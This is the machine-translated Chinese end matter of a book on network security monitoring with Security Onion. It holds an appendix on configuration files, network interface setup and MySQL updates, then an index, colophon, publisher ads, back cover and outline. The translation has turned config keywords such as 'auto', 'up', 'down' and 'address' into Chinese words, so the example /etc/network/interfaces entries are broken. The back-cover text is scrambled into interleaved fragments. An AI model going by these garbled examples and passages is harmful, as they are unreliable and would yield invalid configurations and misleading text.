修改其两个主要配置文件中的设置:
/etc/elsa_web.conf 该文件配置了 ELSA 的 Apache Web 前端
ELSA。如果你选择了独立或服务器安装,它将出现
并选择启用 ELSA。
/etc/elsa_node.conf 此文件配置 ELSA 的日志节点后端。
如果你选择了独立或传感器安装,它将会存在
已启用 ELSA。
Squert
Squert 是一个为 Sguil 数据库编写的 Web 界面,使用 PHP。PHP
脚本和其他资源文件可以在 /var/www/squert/ 中找到。你通常
通常不需要修改该目录中的任何内容。
Snorby
Snorby 是一个使用 Ruby on Rails 编写的 IDS 警报的 Web 界面。它的
脚本和其他资源文件可以在 /opt/snorby/ 中找到。配置
配置文件可以在 /opt/snorby/config/ 找到。
Syslog-ng
Syslog-ng 被 ELSA 使用,其配置文件可以在
/etc/syslog-ng/。
/etc/network/interfaces
/etc/network/interfaces 文件配置你的网络接口。该
如果你选择该选项,设置向导将自动为你配置此文件
是的,配置 /etc/network/interfaces。
你需要一个管理接口(最好连接到一个专用的
cated 管理网络)使用 DHCP 或更好的是静态 IP。如果
如果你的管理接口使用 DHCP 并且你在集群模式下运行 Bro,
它会抱怨每次 DHCP 地址变化时,你需要
更新 Bro 的 node.cfg 文件中的 IP 地址。强烈建议使用静态 IP 以防止此问题。
SO 脚本和配置 331
你将需要一个或多个专门用于嗅探的接口,没有
IP 地址。网络接口卡卸载功能,如 tso,
gso 和 gro 应该被禁用,以确保 Snort 和 Suricata 能够得到
准确查看流量(参见 http://securityonion.blogspot.com/2011/10/
when-is-full-packet-capture-not-full.html)。
以下是一些示例 network/interfaces 条目。
自动 lo
iface lo inet loopback
第五章:使用 DHCP 的管理接口(由于上述 Bro 问题,不推荐使用)
自动 eth0
iface eth0 inet dhcp
或
使用静态 IP 的管理接口(代替 DHCP)
自动 eth0
iface eth0 inet static
地址 192.168.1.14
网关 192.168.1.1
子网掩码 255.255.255.0
网络 192.168.1.0
广播 192.168.1.255
dns-nameservers 192.168.1.1 192.168.1.2
和以下之一或多个
连接到 TAP 或 SPAN 端口进行流量监控
自动 eth1
iface eth1 inet manual
上 ifconfig $IFACE -arp up
上 ip 链接设置 $IFACE promisc on
关闭 ip 链接设置 $IFACE promisc off
关闭 ifconfig $IFACE down
post-up 对于 i in rx tx sg tso ufo gso gro lro; do ethtool -K $IFACE $i off; done
post-up echo 1 > /proc/sys/net/ipv6/conf/$IFACE/disable_ipv6
更新 So
更新 SO 的两个方面值得一提:保持平台的更新,
日期并保持 MySQL 更新。
更新 SO 分发版
由于所有 SO 包都在标准的 Ubuntu Launchpad Personal Package
存档 (PPA),你可以使用标准的 Ubuntu 包管理工具来
更新所有软件包。你可以使用图形化的更新管理器,或者更新
从命令行像这样操作:
sudo apt-get update && sudo apt-get dist-upgrade
332 附录
更新 MySQL
更新 Ubuntu MySQL 软件包可能因 autossh 而出现问题
端口转发和其他问题。以下是推荐的操作程序
确保顺利的 MySQL 更新。
1. 停止所有服务:
sudo service nsm stop
sudo service syslog-ng stop
sudo service apache2 stop
sudo pkill autossh
sudo pkill perl
2. 检查进程列表,确认所有 nsm/syslog-ng/apache/autossh/
perl 进程已停止:
ps aux
3. 安装 MySQL 更新。其他更新(如 securityonion-snorby)
可能需要 MySQL 运行,因此单独更新 MySQL:
sudo apt-get update && sudo apt-get install mysql-server mysql-server-core-5.5 mysql-server-5.5
4. 重启系统:
sudo reboot
SO 脚本和配置 333
i N D e x
a
Argus
作为 NetFlow 的替代,202
地址解析协议(ARP),
计数会话数据中的字节
16,140–142
使用中,169
地址转换,42–45
作为数据收集工具,115
administration.conf,322–323
日志存储位置,106
管理员,如同 IDC 中,203–204
和 Ra 客户端,128–133
高级包管理工具(APT),65
和 Racluster 客户端,130–132,248
高级持续威胁(APT),193
作为会话数据的来源,22,248
APT1,193,202,277–278。另见
ARIN(美国互联网注册机构)
APT1 模块
数字),40
资源,190
ARP(地址解析协议),
对手模拟,187
16,140–142
空军计算机应急
AS(自治系统),28
响应团队
ASIM(自动化安全事件)
(AFCERT),3
测量),3
警报数据,28–30
资产为中心的安全,199
美国互联网注册机构
在 ATI 中的联席分析师,203–204
数字(ARIN),40
ATI(应用威胁情报)
阿敏,罗汉,190
中心,203–204
分析,作为检测阶段的一个元素,
autocat.conf,324
188,193–195
自治系统(AS),28
“黑客的解剖”,190–191
autossh,作为 SO 数据的隧道,84,
安德烈,詹,305
97,333
应用威胁情报(ATI)
自动化安全事件
中心,203–204
测量(ASIM),3
APT(高级包管理工具),65
APT(高级持续威胁),193
APT1,193,202,277–278。另见
B
APT1 模块
贝克,迈克尔,306
资源,190
barnyard2.conf,327
APT1 模块,278
伯克利数据包过滤器(BPF),118–123,
安装中,280
130,230,280
测试,280–283
比安科,大卫,32,193
使用中,278–279
BPF(伯克利数据包过滤器),118–123,
apt-get
130,230,280
和配置 SO 传感器,94
bpf-bro.conf,327
安装 APT1 模块,280
bpf.conf,324,327
和设置 SO 服务器,89–90
漏洞
更新包的过程,64,77,80,
分类,194,208,219,
88–90,94,101
232,237
升级与 dist-upgrade,65–66
不可避免性,5
建筑师,如同 IDC 中,203–204
和通知,196–197
Bro
云计算,304–307
作为 NetFlow 的替代方案,202
CloudShark,308
APT1 模块,278
收集,作为检测元素
安装,280
阶段,188–191
测试,280–283
Combs, Gerald, 122
使用,278–279
命令与控制(C2)通道,
capture_loss.log,243–244
190–194, 208, 237, 250–251
校验和验证,298–302
妥协
创建可执行文件的哈希值
客户端,235–237
与,264
阶段,190
计算会话数据中的字节数,169
服务器端,207–208
作为数据收集工具,115
计算机事件响应团队
DNS 日志由其生成,225–226,
(CIRT),4, 203–205
244–246
conn.log,由 Bro 生成,21,
提取二进制文件,266–273
242–243
FTP 日志由其生成,228–229
成员关系团队,203, 205
与恶意软件哈希的集成
隔离
注册表,285–288
速度,199–200
日志存储位置,106
技术,198
使用 broctl 重新启动,275–277, 283,
持续监控,8–9
329–330
Costa, Gianluca, 147
作为 HTTP 事务数据的来源
cron,用于定期执行
在 Sguil 中,165, 167
命令,107, 330
作为 ELSA 中日志的来源,178–180,
cronjobs,用于执行命令,
240, 242
316–317, 325, 330
作为会话数据来源,21
作为事务数据来源,22–23
D
SSH 日志由其生成,226–227
Bullard, Carter, 128
数据类型,16, 160
Burks, Doug, 55, 167
警报数据,28–30
提取的内容数据,19–20
C
完整的内容数据,16–18
元数据,26–28
用于跟踪对手的活动
会话数据,21–22
活动,199–201
统计数据,24–26
CapMe
事务数据,22–23
通过 ELSA 访问,180,
日期命令,翻译 Unix
250–251
从纪元到人类可读格式
通过 Snorby 访问,174–177
格式,106
作为数据传输工具,115
DAYSTOKEEP 变量,108
CIRT(计算机事件响应团队)
De Francheschi, Andrea, 147
团队),4, 203–205
可防御的网络架构,196
校验和
非军事区(DMZ),11, 37–46
错误的校验和,298
df,用于检查分区使用情况,108
告诉 Bro 忽略,298–301
Digital Corpora,147, 151, 154
告诉 Snort 忽略,302
事件响应总监,203–204
用于 IP 错误检测
disablesid.conf,323
数据包,304
显示过滤器,用于 Wireshark 和
使用 Tshark 识别,297–298
Tshark,125–128
Cisco,作为交换机供应商,12, 48
DMZ(非军事区),11, 37–46
客户端妥协,235–237
dns.log,由 Bro 生成,23,
Cloppert, Michael, 190
243–246, 282
336 索引
du,用于检查目录使用情况,108
以及事务数据,22–23
Dumpcap,用法,123–124
以及 URL 事件,167
猎杀(无 IOC 分析),193
E
Hutchins, Eric, 190
ELSA(企业日志搜索与分析)
存档),用法,178–182
I
elsa_node.conf,108, 323, 331
ICMP(互联网控制消息协议)
elsa_web.conf,331
协议)
enablesid.conf,323
示例入侵,212, 214
工程师,作为 IDC 内的角色,203–204
搜索 Bro SSH 日志,226
企业日志搜索和归档
和 Tcpdump,119–128
(ELSA),使用,178–182
和 Wireshark,142
企业安全周期,5,186
事件分析员角色,203–204
阶段,187
事件检测与响应
升级,作为响应的要素
中心,203–204
阶段,188,193–197
事件处理员角色,203–204
/etc/network/interfaces,87–88
危害指示符(IOC)
事件分析员角色,203–204
作为情报格式,188–189,
事件分类,195
193,202,277,279
提取的内容数据,19–20
OpenIOC,作为 IOC 的架构,278
基础设施和开发
F
中心,203–204
Internet 控制消息协议。
Fenner,Bill,116
参见 ICMP(Internet 控制
查找命令,用于处理流量,
消息协议)
122,128
入侵类别,194
用于命令,处理流量,
入侵杀链,190–192
122,128
入侵防御,5
F-Response,189
IOC(危害指示符)
ftp.log,由 Bro 生成,228–229,
作为情报格式,188–189,
272–273
193,202,277,279
完整内容数据,16–18
OpenIOC,作为 IOC 的架构,278
IOC 为中心的分析(匹配),
G
193,202
无 IOC 分析(狩猎),193
Garfinkel,Simson,147,229,291
Iodine 隐蔽通道工具,255–259
Gredler,Hannes,116
IP 地址,39–41
H
M
Halliday,Paul,173,174
恶意软件哈希注册表(MHR),
Harris,Guy,116
283–288
Heberlein,Todd,3
Mandia,Kevin,193
Hjelmvik,Erik,153
Mandiant
Holste,Martin,178,245
APT1 报告,190,193,202,
http_agent.conf,327
277–278
http.log,由 Bro 生成
与南卡罗来纳州的合作
和错误的校验和,299,300–301
DoR,6–8
从 HTTP 提取二进制文件
M-Trends 报告,190
流量,269–270,277
作为跟踪关键平台
查询,243
事件测量,307
跟踪可执行文件,264
索引 337
Mandiant 为智能响应
网络可见性
(MIR),189
捕获客户端或
匹配(IOC 为中心的分析),
服务器,49
193,202
位置,45–46
元数据,26–28
网络 TAPs 用于,48
Metasploit,239–241,248,251
切换 SPAN 端口,47–48
Metasploitable,221
与网络 TAPs 的比较,50
Meterpreter,作为 Metasploit 组件,
NIST(国家标准与技术研究院)
240–241,248,251–255
和技术),304
MHR(恶意软件哈希注册表),
notice.log,由 Bro 生成
283–288
使用 ELSA 分析,242–243
modifysid.conf,323
与 APT1 模块,279,282
MySQL
从 HTTP 提取二进制文件
数据库存储位置,105
流量,277
保持软件最新,333
哈希化下载的可执行文件
查询以确定存储
与 Bro,264
使用,107
和恶意下载,286
在 SO 上使用 PPA 设置,89,94
NPAT(网络端口地址)
作为 SO 数据库,76,115,167–169,
翻译),43–46
178,180
NSM(网络安全监控)
作为数据窃取的目标,228–232
对 CIRTs 的好处,4
作为持续业务过程,4
N
数据类型,16,160
定义,3
NAT(网络地址转换),
效能,12–13,31
42–43
如何胜出,10
与 NSM 的缺点,31
合法性,13–14
网络可见性,45–46
保护用户隐私时
与代理的对比,294
执行,14
国家标准与技术研究院
购买,31–32
技术(NIST),304
与其他方法的关系,
网络块,39–41
9–10
Net Optics,作为 tap 供应商,12, 48
资源,32
Netsniff-ng,作为数据收集工具,115,
简单设置,10–11
170, 172, 244
NSMNow,311
网络地址转换(NAT),
/nsm/sensor_data/
42–43
目录,105–106, 116,
与 NSM 的缺点,31
122, 128–129, 136–137
网络可见性,45–46
与代理的对比,294
NetworkMiner
O
计算会话数据中的字节
OpenIOC 格式,278
使用,169
OpenSSH
使用,153–157
用于通信
网络端口地址转换
分布式 SO 平台,
(NPAT),43–46
82–83
网络安全监控。另见
用于通过 SOCKS 连接
NSM(网络安全
代理,103
监控)
被 Bro 记录的,277
网络采样器,48, 49
用于传感器管理,51, 88,
94, 124
338 索引
用于 X 转发,95–97
回顾性安全分析,30
被入侵者使用的,232–233
Richardson, Michael,116
OSSEC,115, 165, 182, 227
RIR(区域互联网注册局),40
ossec_agent.conf,323
Risso, Fulvio,116
RobTex,28, 132
P
路由,28, 34, 49, 198, 299
Packetloop,306
pads_agent.conf,327
S
被动实时资产检测
SANCP(安全分析员网络
系统。另见 PRADS(被动
连接分析器)
实时资产检测
数据库表,167
系统)
通过 Sguil 查询,167–169,
pcap_agent.conf,328
211–212, 223
pcap 文件格式,50, 76, 114, 115
作为会话数据来源,22, 167
pcap-filter 手册页,120
sancp_agent.conf,328
渗透测试,187
SANS 网络风暴中心(ISC)
解放军。另见 APT
端口报告,132
(高级持久
安全分析员网络连接
威胁)
分析器。另见 SANCP
Poison Ivy,288
(安全分析员网络
PPA(个人软件包归档),59.
连接分析器)
另见 SO(安全洋葱)
安全洋葱。另见 SO(安全
洋葱):安装
洋葱)
PRADS(被动实时资产
securityonion.conf,108, 324–325
检测系统)
SecurixLive,311
计算会话数据中的字节
高级分析员,在 ATI 中,203–204
使用,169
传感器硬件
作为 NSM 数据的来源,115
估算硬盘空间,51
与 Sguil 一起使用,165, 167–169,
对应要求,49–50
210–211
sensor.conf,328
类似于 Bro 的连接
sensor_cleandisk() 函数,107
日志,180
传感器管理,建议
prads.conf,328
用于,51–52
主分析员,在 ATI 中,203–204
server.conf,324
Prosise, Chris,193
服务器端妥协,207–208
保护用户隐私,14
会话数据,21–22
协议分析器,116
Sguil
代理,289–294
代理,115, 312
pulledpork.conf,323
用于分析客户端入侵,
PuTTY,用于 SOCKS 代理访问,
210–224
103–105
使用的数据库,107–108
事件类别定义,在其中,172
r
关键功能,164
管理 Sguil 数据库,108
ra.conf。参见 /tmp/ra.conf
转录数据存储,172
RAT(远程访问木马),288
使用情况
红队,187
分类警报数据,172–173
区域互联网注册中心(RIR),40
元数据和相关数据,
远程访问木马(RAT),288
164–165
响应的元素,作为解决方案
转向完整内容数据,
阶段,188, 198–201
169–171
索引 339
Sguil,使用情况(续)
限制访问,102–103
查询警报数据,165–167
管理 Sguil 数据库
查询会话数据,167–169
配置,108
正在运行,161–163
服务器要求
简单聚合,164
硬件,76
用户名和密码期间
选择部署代码的方法,59
SO 设置,68–69, 79
作为服务器加传感器系统,
sguil-db-purge 脚本,108
56–58, 76
sguild.conf,324
作为独立系统,56–57
Snorby
存储,估算完整内容
作为查看警报数据的控制台,29,
数据需求,51
71–73
更新
电子邮件地址要求期间
通过命令行,101
SO 设置,69, 79
通过图形用户界面,
使用情况,174–178
100–101
Snort
SOCKS 代理,103–104
在 ELSA 中生成的警报,
sosetup.log,70
180, 240–243, 248
南卡罗来纳州,入侵示例,
在 Sguil 中生成的警报,
6–8
210, 215–216
SPAN 端口,49, 50
在中配置校验和模式,302
Sphinx,115–116, 178
在中配置 X-Forwarded-For,294
Squert,使用情况,173–174
作为查看警报数据的控制台,29–30,
ssh.log,由 Bro 生成,226–227
210–11, 214–216
统计数据,24–26
作为查看会话数据的控制台,22,
Suricata
211–214
由此生成的警报,169, 174,
作为 pcap 日志文件名中的元素,
325–325, 328
105–106
作为 SO 配置选项,79
作为警报数据源,28, 30, 115,
作为警报数据源,28, 115,
164–165
164–165
snort_agent.conf,329
suricata.yaml,328, 330
snort.conf,319, 329
Sysinternals PsExec,189
snort.log.
Syslog-ng,作为数据传输工具,115,
生成的内容数据
178, 189, 331
由 Netsniff-ng,105
SO(Security Onion)
t
核心工具,116
数据采集工具类别的,115
Tcpdump
数据传输工具类别的,115
用于收集样本流量,268,
数据展示工具
280–281, 291
类别的,114
作为数据包分析工具,114
与之数据存储,105–106
作为完整内容数据的来源,16–18
估算数据库存储的,
使用情况,116–122
107–108
Tcpflow,229–230, 291–293
估算文件系统
Team Cymru,283
存储,108
威胁中心安全,199
安装,
Threat Stack,305
通过.iso的传感器系统,80–84
threshold.conf,323, 330
通过 PPA 的传感器系统,92–96
时间
通过.iso的服务器系统,77–80
需要记录的事件,201
通过 PPA 的服务器系统,85–91
重要性,5
独立系统,59–73
/tmp/ra.conf,131–132
340 索引
/tmp/.xkey.log,作为记录的按键,
Webber, Dustin,174, 177, 305
253–255
weird.log,由 Bro 生成,299
流量
WHOIS
在客户端或服务器上捕获,49
作为元数据的一种形式,26-27
处理,122,128
在 Sguil 中的应用,164-165
以及 Tcpdump,268,280-281,291
whois,作为查询恶意软件哈希的工具
理解流量流向,35-38
注册表,284
交易数据,22-23
Windows 管理工具
Tshark,
命令行标注
校验和复审,296-297
(WMIC),189
完整内容数据的复审,
无线局域网(WLAN),
216-218,249
12-13,34-35,38-46,
使用,122-128
238,246
Twitter,作为攻击向量,238-239
Wireshark
256,261-262
计算会话数据中的字节
使用,169
U
解码协议,144-145
跟踪流,143-144
Ubuntu,作为 NSM 平台操作系统
修改默认列
系统,59,64-65,85-94
布局,137-140
UFW(简单防火墙),
作为数据包分析工具,18-19
102-103,105
捕获流量时的问题
61398 单元。见 APT(高级持续威胁)
作为 root 使用,123-124
持续威胁)
作为提取内容数据的来源,
协调世界时(UTC),
19-20
62,70,118
作为统计数据源,24-26
Unix 纪元时间,118
使用,136-147
理解流量流向,35-38
《窃听法》,13
UTC(协调世界时),
WLAN(无线局域网),
62,70,118
12-13,34-35,38-46,
238,246
V
WMIC(Windows 管理工具)
VERIS(事件词汇表)
仪器化
记录与事件
命令行),189
共享),196
www.testmyids.com,15-16,20-23,28-29,
虚拟私人网络(VPN),31,58,
71,84,179
258
VirusTotal
X
提交二进制文件至,273-275
通过安全外壳转发 X,95
提交哈希至,264-266,
Xplico,使用,147-153
273-274,288
Xubuntu,作为 NSM 平台操作系统
Visscher,Bamm,3
系统,59-60,63-65
事件记录词汇表
以及事件共享
Y
(VERIS),196
VPN(虚拟私人网络),31,
Young,David,116
58,258
YYYY-MM-DD.log,作为会话数据
由 Argus 生成,129
W
Wade,Aaron,193
波形,用于跟踪 CIRT 活动,
200-201
索引 341
《网络安全监控实践》使用了 New Baskerville、TheSansMono Condensed、Futura 和 Dogma 字体。
本书由 Edwards Brothers Malloy 印刷并装订
密歇根州安阿伯。本文使用的是 70# Williamsburg Smooth 纸张,特点是
由可持续森林倡议(SFI)认证。
本书使用了 RepKover 装订方式,页面通过
配合冷设定的柔性胶水以及书的首尾页面一起使用
生成的书籍块通过胶带附着在封面上。封面是
实际上并未将其粘贴在书脊上,打开时,书籍会平躺
并且脊背不会断裂。






更新
访问http://nostarch.com/nsm/获取更新、勘误和其他信息。
更多直接了当的书籍来自
No Starch Press
实践恶意软件分析
Metasploit
实用的包分析,
动手实践指南
渗透测试者指南
第二版
解剖恶意软件
由 david kennedy, jim o’gorman,
使用 Wireshark 解决实际问题
由 michael sikorski 和
devon kearns, 和 mati aharoni
网络问题
andrew honig
2011 年 7 月,328 页,$49.95
由 chris sanders
2012 年 2 月,800 页,$59.95
isbn 978-1-59327-288-3
2011 年 7 月,280 页,$49.95
isbn 978-1-59327-290-6
isbn 978-1-59327-266-1
黑客入门,第二版
错综复杂的网络
绝对的 OpenBSD,
利用漏洞的艺术
现代安全指南
第二版
由 jon erickson
Web 应用程序
Unix 实用手册
2008 年 2 月,488 页,带 CD,$49.95
由 michal zalewski
由 michael w. lucas
isbn 978-1-59327-144-2
2011 年 11 月,320 页,$49.95
2013 年 4 月,536 页,$59.95
isbn 978-1-59327-388-0
isbn 978-1-59327-476-4
电话:
邮箱:
800.420.7240 或
sales@nostarch.com
415.863.9900
网站:
www.nostarch.com

C O L L E C T
序言由 Todd Heberlein
A N A L Y Z E
网络开发者
E S C A L A T E
安全监控系统
N
网络安全实践
ETW
网络安全
或
网络安全不仅仅是建立无法渗透的
• 解释服务器端和
监控
因为坚决的攻击者终将突破
客户端入侵
K T
传统防御体系已经不再有效。最有效的计算机
• 将威胁情报整合进 NSM 软件
H
安全策略整合网络安全监控
SEC
理解事件检测
SEC
识别复杂的对手
E P
(NSM):收集和分析数据以帮助你
应对响应
检测和响应入侵。
没有任何万无一失的方法能让攻击者无法进入
你的网络。但当他们入侵时,你将做好准备。
在《网络安全监控实践》中,
R
《网络安全监控实践》将向你展示
U
Mandiant 的首席安全官 Richard Bejtlich 展示了如何
如何建立一个安全网来检测、遏制并
R A
R I C H A R D B E J T L I C H
使用 NSM 为你的网络添加一层强大的保护
R
控制它们。攻击是不可避免的,但丧失敏感数据
C
你的网络——无需任何经验。为了帮助
我
数据不应该是。
你将学会如何避免昂贵且不灵活的解决方案
T T
如何部署、构建和运行 NSM 操作
Y I
开源软件和供应商中立工具。
关于作者
MONI CE O
你将学会如何:
Richard Bejtlich 是 Mandiant 的首席安全官
曾任 Mandiant 事件响应总监
• 确定 NSM 平台的部署位置,并
通用电气公司。他是哈佛大学的毕业生
为被监控的网络配置适当的规模
以及美国空军学院。他之前
F
• 部署独立或分布式的 NSM 安装
他的作品包括 网络安全监控的道,
T
挤出检测 和 真实数字取证。他写道
• 使用命令行和图形化数据包分析
OR
在他的博客上( http://taosecurity.blogspot.com)以及
工具和 NSM 控制台
在 Twitter 上使用 @taosecurity。
ING
TH E FI N EST I N G E E K E NTE RTAI N M E NT™
B
www.nostarch.com
EJTL
$49.95 ($52.95 CDN)
IC
“我平躺。”
C S
O H
H
M ELV
本书采用 RepKover 装订 —— 一种耐用的绑定方式,不易合拢。
PU E
T I
E N
R :
“对任何从事检测工作的人来说,都是一种宝贵的资源”
S/SEC
U
并响应安全漏洞。”
RITY
—凯文·曼迪亚,Mandiant CEO
文档大纲
-
关于作者
-
前言
-
前言
-
受众
-
前提条件
-
软件与协议说明
-
范围
-
致谢
-
-
第一部分:入门
-
第一章:网络安全监控的基本原理
-
NSM 入门
-
NSM 是否能防止入侵?
-
NSM 和持续监控有什么区别?
-
NSM 与其他方法相比如何?
-
为什么 NSM 有效?
-
如何设置 NSM
-
NSM 不适用的情况
-
NSM 合法吗?
-
如何在 NSM 操作中保护用户隐私?
-
-
NSM 测试示例
-
NSM 数据的范围
-
完整内容数据
-
提取的内容数据
-
会话数据
-
交易数据
-
统计数据
-
元数据
-
告警数据
-
-
所有这些数据的意义何在?
-
NSM 的缺点
-
我在哪里可以购买 NSM?
-
我可以去哪里获得支持或更多信息?
-
结论
-
-
第二章:收集网络流量:访问、存储和管理
-
试点 NSM 系统的示例网络
-
简单网络中的流量
-
NSM 可能的部署位置
-
-
IP 地址与网络地址转换
-
网络块
-
IP 地址分配
-
地址转换
-
-
选择最佳位置以获取网络可见性
-
DMZ 网络流量的位置
-
查看无线和内部网络流量的位置
-
-
获取流量的物理访问权限
-
使用交换机进行流量监控
-
使用网络 Tap
-
直接在客户端或服务器上捕获流量
-
-
选择一个 NSM 平台
-
十条 NSM 平台管理建议
-
结论
-
-
-
第二部分:Security Onion 部署
-
第三章:独立 NSM 部署与安装
-
独立使用还是服务器加传感器?
-
选择如何将 SO 代码传输到硬件
-
安装独立系统
-
将 SO 安装到硬盘
-
配置 SO 软件
-
选择管理接口
-
安装 NSM 软件组件
-
检查你的安装
-
-
结论
-
-
第四章:分布式部署
-
使用 SO .iso 文件安装 SO 服务器
-
SO 服务器注意事项
-
搭建 SO 服务器
-
配置你的 SO 服务器
-
-
使用 SO .iso 镜像安装 SO 传感器
-
配置 SO 传感器
-
完成设置
-
验证传感器是否正常工作
-
验证 Autossh 隧道是否工作
-
-
使用 PPA 构建 SO 服务器
-
将 Ubuntu Server 安装为 SO 服务器操作系统
-
选择静态 IP 地址
-
更新软件
-
开始在 SO 服务器上设置 MySQL 和 PPA
-
通过 PPA 配置你的 SO 服务器
-
-
使用 PPA 构建 SO 传感器
-
将 Ubuntu Server 安装为 SO 传感器操作系统
-
将系统配置为传感器
-
运行设置向导
-
-
结论
-
-
第五章:SO 平台日常维护
-
保持 SO 更新
-
通过 GUI 更新
-
通过命令行更新
-
-
限制对 SO 的访问
-
通过 SOCKS 代理连接
-
更改防火墙策略
-
-
管理 SO 数据存储
-
管理传感器存储
-
检查数据库磁盘使用情况
-
管理 Sguil 数据库
-
跟踪磁盘使用情况
-
-
结论
-
-
-
第三部分:工具
-
第六章:命令行数据包分析工具
-
SO 工具类别
-
数据展示
-
SO 数据收集工具
-
SO 数据交付工具
-
-
运行 Tcpdump
-
使用 Tcpdump 显示、写入和读取流量
-
在 Tcpdump 中使用过滤器
-
从 Tcpdump 输出中提取详细信息
-
使用 Tcpdump 检查完整内容数据
-
-
使用 Dumpcap 和 Tshark
-
运行 Tshark
-
运行 Dumpcap
-
在 Dumpcap 流量上运行 Tshark
-
在 Tshark 中使用显示过滤器
-
Tshark 显示过滤器应用示例
-
-
运行 Argus 和 Ra 客户端
-
停止和启动 Argus
-
Argus 文件格式
-
检查 Argus 数据
-
-
结论
-
-
第七章:图形化数据包分析工具
-
使用 Wireshark
-
运行 Wireshark
-
在 Wireshark 中查看数据包捕获
-
修改默认的 Wireshark 布局
-
一些有用的 Wireshark 功能
-
-
使用 Xplico
-
运行 Xplico
-
创建 Xplico 案例和会话
-
处理网络流量
-
理解解码后的流量
-
获取元数据并总结流量
-
-
使用 NetworkMiner 检查内容
-
运行 NetworkMiner
-
收集和组织流量详情
-
渲染内容
-
-
结论
-
-
第八章:NSM 控制台
-
从 NSM 视角看网络流量
-
使用 Sguil
-
运行 Sguil
-
Sguil 的六个关键功能
-
-
使用 Squert
-
Snorby
-
ELSA
-
结论
-
-
-
第四部分:NSM 实践
-
第九章:NSM 操作
-
企业安全周期
-
规划阶段
-
抵抗阶段
-
检测与响应阶段
-
-
收集、分析、权限提升与解决
-
收集
-
分析
-
权限提升
-
解决
-
-
修复
-
使用 NSM 改善安全性
-
建立 CIRT
-
-
结论
-
-
第十章:服务器端妥协
-
定义服务器端妥协
-
服务器端妥协示例
-
从 Sguil 开始
-
查询 Sguil 获取会话数据
-
返回警报数据
-
使用 Tshark 审查完整内容数据
-
理解后门
-
入侵者做了什么?
-
入侵者还做了什么?
-
-
探索会话数据
-
搜索 Bro DNS 日志
-
搜索 Bro SSH 日志
-
搜索 Bro FTP 日志
-
解码敏感数据的盗窃
-
提取被盗档案
-
-
后退一步
-
总结阶段 1
-
总结阶段 2
-
下一步
-
-
结论
-
-
第十一章:客户端妥协
-
定义客户端妥协
-
客户端妥协示例
-
从用户获取事件报告
-
使用 ELSA 开始分析
-
查找丢失的流量
-
-
分析 Bro dns.log 文件
-
检查目标端口
-
检查命令与控制通道
-
初始访问
-
改进 Shell
-
总结阶段 1
-
转向第二个受害者
-
安装隐蔽隧道
-
枚举受害者
-
总结阶段 2
-
-
结论
-
-
第十二章:扩展 Security Onion
-
使用 Bro 跟踪可执行文件
-
使用 Bro 对下载的可执行文件进行哈希计算
-
将哈希提交给 VirusTotal
-
-
使用 Bro 从流量中提取二进制文件
-
配置 Bro 从流量中提取二进制文件
-
收集流量来测试 Bro
-
测试 Bro 从 HTTP 流量中提取二进制文件
-
检查从 HTTP 提取的二进制文件
-
测试 Bro 从 FTP 流量中提取二进制文件
-
检查从 FTP 提取的二进制文件
-
将哈希和二进制文件提交给 VirusTotal
-
重启 Bro
-
-
使用 APT1 情报
-
使用 APT1 模块
-
安装 APT1 模块
-
生成流量来测试 APT1 模块
-
测试 APT1 模块
-
-
报告恶意二进制文件的下载
-
使用 Team Cymru 恶意软件哈希注册表
-
MHR 和 SO:默认启用
-
MHR 和 SO 对比恶意下载
-
识别二进制文件
-
-
结论
-
-
第十三章:代理与校验和
-
代理
-
代理与可见性
-
在生产网络中处理代理
-
-
校验和
-
一个好的校验和
-
一个不良校验和
-
使用 Tshark 识别不良和良好的校验和
-
不良校验和如何发生
-
Bro 和不良校验和
-
设置 Bro 忽略不良校验和
-
-
结论
-
-
-
结论
-
云计算
-
云计算挑战
-
云计算的好处
-
-
工作流、指标与协作
-
工作流和指标
-
协作
-
-
结论
-
-
Security Onion 脚本和配置
-
Security Onion 控制脚本
-
/usr/sbin/nsm
-
/usr/sbin/nsm_all_del
-
/usr/sbin/nsm_all_del_quick
-
/usr/sbin/nsm_sensor
-
/usr/sbin/nsm_sensor_add
-
/usr/sbin/nsm_sensor_backup-config
-
/usr/sbin/nsm_sensor_backup-data
-
/usr/sbin/nsm_sensor_clean
-
/usr/sbin/nsm_sensor_clear
-
/usr/sbin/nsm_sensor_del
-
/usr/sbin/nsm_sensor_edit
-
/usr/sbin/nsm_sensor_ps-daily-restart
-
/usr/sbin/nsm_sensor_ps-restart
-
/usr/sbin/nsm_sensor_ps-start
-
/usr/sbin/nsm_sensor_ps-status
-
/usr/sbin/nsm_sensor_ps-stop
-
/usr/sbin/nsm_server
-
/usr/sbin/nsm_server_add
-
/usr/sbin/nsm_server_backup-config
-
/usr/sbin/nsm_server_backup-data
-
/usr/sbin/nsm_server_clear
-
/usr/sbin/nsm_server_del
-
/usr/sbin/nsm_server_edit
-
/usr/sbin/nsm_server_ps-restart
-
/usr/sbin/nsm_server_ps-start
-
/usr/sbin/nsm_server_ps-status
-
/usr/sbin/nsm_server_ps-stop
-
/usr/sbin/nsm_server_sensor-add
-
/usr/sbin/nsm_server_sensor-del
-
/usr/sbin/nsm_server_user-add
-
-
Security Onion 配置文件
-
/etc/nsm/
-
/etc/nsm/administration.conf
-
/etc/nsm/ossec/
-
/etc/nsm/pulledpork/
-
/etc/nsm/rules/
-
/etc/nsm/securityonion/
-
/etc/nsm/securityonion.conf
-
/etc/nsm/sensortab
-
/etc/nsm/servertab
-
/etc/nsm/templates/
-
/etc/nsm/\(HOSTNAME-\)INTERFACE/
-
/etc/cron.d/
-
Bro
-
CapMe
-
ELSA
-
Squert
-
Snorby
-
Syslog-ng
-
/etc/network/interfaces
-
-
更新 Security Onion
-
更新 Security Onion 发行版
-
更新 MySQL
-
-


浙公网安备 33010602011771号